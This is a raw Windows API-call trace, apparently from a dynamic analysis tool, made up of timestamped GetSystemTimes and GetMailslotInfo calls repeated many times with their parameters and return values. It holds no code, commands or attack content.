[0021.668] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.668] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.668] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.668] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.668] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.668] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.668] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.668] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.668] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.668] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.668] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0021.669] GetSystemTimes (in: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84 | out: lpIdleTime=0x18fc74, lpKernelTime=0x18fc7c, lpUserTime=0x18fc84) returned 1 [0025.131] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.131] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.131] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.131] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.131] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.131] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.131] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.131] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.131] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.132] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.132] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.132] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.132] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.132] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.132] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.132] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.132] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.132] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.132] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.132] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.132] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.132] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.132] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.132] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.132] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.132] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.132] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.132] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.132] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.132] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.132] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.132] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.132] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.132] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.132] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.133] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.133] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.133] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.133] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.133] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.133] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.133] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.133] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.133] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.133] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.133] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.133] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.133] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.133] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.133] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.133] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.133] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.133] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.133] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.133] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.133] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.133] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.133] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.133] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.133] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.134] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.134] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.134] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.134] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.134] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.134] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.134] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.134] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.134] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.134] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.134] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.134] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.134] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.134] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.134] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.134] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.134] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.134] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.134] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.134] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.134] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.134] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0 | out: lpMaxMessageSize=0x18fba8, lpNextSize=0x18fbb4, lpMessageCount=0x18fbac, lpReadTimeout=0x18fbb0) returned 0 [0025.134] 